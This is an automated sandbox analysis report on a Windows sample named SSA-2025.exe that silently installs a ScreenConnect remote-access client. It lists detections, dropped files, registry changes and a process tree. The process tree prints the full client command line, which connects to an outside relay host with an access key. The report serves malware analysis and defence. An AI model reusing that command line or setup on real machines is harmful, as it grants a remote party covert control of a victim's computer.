Edit tour

Windows Analysis Report
SSA-2025.exe

Overview

General Information

Sample name:	SSA-2025.exe
Analysis ID:	1612325
MD5:	ac6330f1b9cbf18004589b5f12db7bf4
SHA1:	86b7d396e1c09fce6ced6d970f2a100e0e92e882
SHA256:	efbbfc7a2ae03f5ee638cf26fa99a723bbd23ede3a054a8565d0fef355f87c17
Infos:

Detection

ScreenConnect Tool

Score:	42
Range:	0 - 100
Confidence:	100%

Compliance

Score:	32
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

.NET source code references suspicious native API functions

Contains functionality to hide user accounts

Creates files in the system32 config directory

Detected potential unwanted application

Enables network access during safeboot for specific services

Modifies security policies related information

Possible COM Object hijacking

Reads the Security eventlog

Reads the System eventlog

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Drops PE files to the windows directory (C:\Windows)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found dropped PE file which has not been started or loaded

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

SSA-2025.exe (PID: 6276 cmdline: "C:\Users\user\Desktop\SSA-2025.exe" MD5: AC6330F1B9CBF18004589B5F12DB7BF4)

msiexec.exe (PID: 3928 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\b396bb1a05b88972\ScreenConnect.ClientSetup.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 1776 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 2448 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 77996A92415BC7E4E56BE4DDF3B31CAF C MD5: 9D09DC1EDA745A5F87553048E57620CF)

rundll32.exe (PID: 3328 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\MSI5068.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_5329125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments MD5: 889B99C52A60DD49227C5E485A016679)

msiexec.exe (PID: 6412 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding C8D888593058E7DDA6859E14664551F4 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 5644 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 182E158D48F4BA225447276ED56B56FB E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

ScreenConnect.ClientService.exe (PID: 1656 cmdline: "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=center.innocreed.com&p=8041&s=6c62cec4-0045-44a2-9676-9cabae1b6b1b&k=BgIAAACkAABSU0ExAAgAAAEAAQD5eiIqIHsxbbvJUJju2o82x7Ep34oIQZtumNOfmF4LM6HXDbFuI5yxLKcIMB7dVhdMHCECqOoo0CzNTHKap5C2TNY0NNPZSQkyEv%2f%2fVaER%2b7e3LLhtH54iO65DKzgoQuj%2blt0GlYT7ExfyVq3FDxa2kOFj%2fgCEmsxgZjF%2f36qxt%2fdj%2bLbZb74bn%2bsm3SuHGI%2baXhPLm9qVqNy%2bY1x3H93WEGpGAakvhPnn0jZJGWrhcpCZG4tJ5sZjStPGzqo3h%2bo1QwwVG03T%2b1Dz72fUu9PeY5InprNAq1NGXCTH4b9yyDiryDlWVdI4XdnjPUI4WFw6QLO%2bUacmvAbLHh0v8nyd" MD5: 75B21D04C69128A7230A0998086B61AA)

ScreenConnect.WindowsClient.exe (PID: 3460 cmdline: "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "d9b4ef3e-cffc-4b3d-b5e1-180b85b6a477" "User" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)

ScreenConnect.WindowsClient.exe (PID: 2488 cmdline: "C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe" "RunRole" "fffce9a5-b0ba-47fb-9648-3719b7db50ee" "System" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SSA-2025.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Windows\Installer\inprogressinstallinfo.ipi	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFEC88B264B5E97F4C.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF550B457CA4B802ED.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFCD11A12CC8450BDF.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFF35978247F72F933.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF610A57C3150B57FA.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF8814AD95F4808848.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Config.Msi\515402.rbs	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Installer\MSI56C1.tmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2195384007.0000000005510000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000009.00000002.3434546614.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
0000000A.00000002.2284864737.00000000024B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000000.00000000.2155300379.0000000000356000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000000.00000002.2221424696.0000000007361000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000000.00000002.2181962492.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: SSA-2025.exe PID: 6276	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: rundll32.exe PID: 3328	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 3460	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 2488	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: ScreenConnect Client (b396bb1a05b88972) Credential Provider, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\msiexec.exe, ProcessId: 1776, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{6FF59A85-BC37-4CD4-D1D8-A23813EFB81A}\(Default)

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SSA-2025.exe	Virustotal: Detection: 30%			Perma Link
Source: SSA-2025.exe	ReversingLabs: Detection: 26%

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Users\user\Desktop\SSA-2025.exe

EXE: msiexec.exe

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.3.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000002.3434546614.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284665209.0000000002352000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283881480.0000000000A10000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284864737.00000000024B1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: SSA-2025.exe
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000008.00000000.2215055403.0000000000EDD000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe.3.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: SSA-2025.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: SSA-2025.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: SSA-2025.exe, ScreenConnect.Windows.dll.5.dr, ScreenConnect.Windows.dll.3.dr
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000005.00000003.2185984964.0000000005141000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2189534877.0000000004FD0000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.5.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: SSA-2025.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\net20\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.5.dr
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: SSA-2025.exe, MSI5CAE.tmp.3.dr, 515401.msi.3.dr, MSI56F0.tmp.3.dr, 515402.rbs.3.dr, 515403.msi.3.dr
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000005.00000003.2185984964.00000000050D2000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.5.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: SSA-2025.exe, ScreenConnect.Windows.dll.5.dr, ScreenConnect.Windows.dll.3.dr
Source:	Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000008.00000002.3448893667.0000000002F37000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2292424910.00000000124C0000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.3.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.WindowsClient.exe.3.dr
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: SSA-2025.exe, 515401.msi.3.dr, 515403.msi.3.dr, ScreenConnect.ClientSetup.msi.0.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2232490570.0000000000FF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.WindowsClient.exe.3.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284375998.00000000022F2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.3.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284375998.00000000022F2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.3.dr
Source:	Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000008.00000002.3448893667.0000000002F37000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2292424910.00000000124C0000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr
Source:	Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000008.00000002.3448893667.0000000002F37000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2292424910.00000000124C0000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsCredentialProvider.dll.3.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: SSA-2025.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: SSA-2025.exe, ScreenConnect.Core.dll.5.dr, ScreenConnect.Core.dll.3.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2292424910.00000000124C0000.00000004.00000800.00020000.00000000.sdmp, SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2292424910.00000000124C0000.00000004.00000800.00020000.00000000.sdmp, SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: ScreenConnect.ClientService.exe, 00000008.00000002.3435324287.0000000002186000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284864737.00000000024B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rundll32.exe, 00000005.00000003.2185984964.0000000005141000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2185984964.00000000050D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2186164116.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.5.dr, Microsoft.Deployment.Compression.dll.5.dr	String found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
Source: rundll32.exe, 00000005.00000003.2185984964.0000000005141000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2185984964.00000000050D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2186164116.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.5.dr, Microsoft.Deployment.Compression.dll.5.dr	String found in binary or memory: http://wixtoolset.org/news/
Source: rundll32.exe, 00000005.00000003.2185984964.0000000005141000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2185984964.00000000050D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2186164116.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.5.dr, Microsoft.Deployment.Compression.dll.5.dr	String found in binary or memory: http://wixtoolset.org/releases/
Source: SSA-2025.exe, ScreenConnect.WindowsCredentialProvider.dll.3.dr, ScreenConnect.ClientService.exe.3.dr, ScreenConnect.WindowsFileManager.exe.3.dr, ScreenConnect.WindowsAuthenticationPackage.dll.3.dr, ScreenConnect.WindowsClient.exe.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ScreenConnect.WindowsCredentialProvider.dll.3.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: ScreenConnect.Core.dll.3.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd

Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\515401.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{B32F6256-B474-EE52-CAE8-109064941CE5}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI56C1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI56F0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5CAE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\515403.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\515403.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{B32F6256-B474-EE52-CAE8-109064941CE5}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\{B32F6256-B474-EE52-CAE8-109064941CE5}\DefaultIcon	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Installer\wix{B32F6256-B474-EE52-CAE8-109064941CE5}.SchedServiceConfig.rmi	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b396bb1a05b88972)	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b396bb1a05b88972)\flqq42qy.tmp	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.ClientService.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b396bb1a05b88972)\flqq42qy.newcfg	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (b396bb1a05b88972)\ScreenConnect.WindowsClient.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	Jump to behavior

Source: SSA-2025.exe	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SSA-2025.exe	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SSA-2025.exe	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SSA-2025.exe	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: SSA-2025.exe	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: SSA-2025.exe, 00000000.00000002.2192389001.00000000052C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.WindowsInstaller.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2186286653.0000000003D2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2276559398.000000000ACF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsiexec.exe.muiX vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000002.2221424696.0000000007A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewixca.dll\ vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.000000000087F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs SSA-2025.exe
Source: SSA-2025.exe, 00000000.00000000.2155300379.000000000087F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs SSA-2025.exe
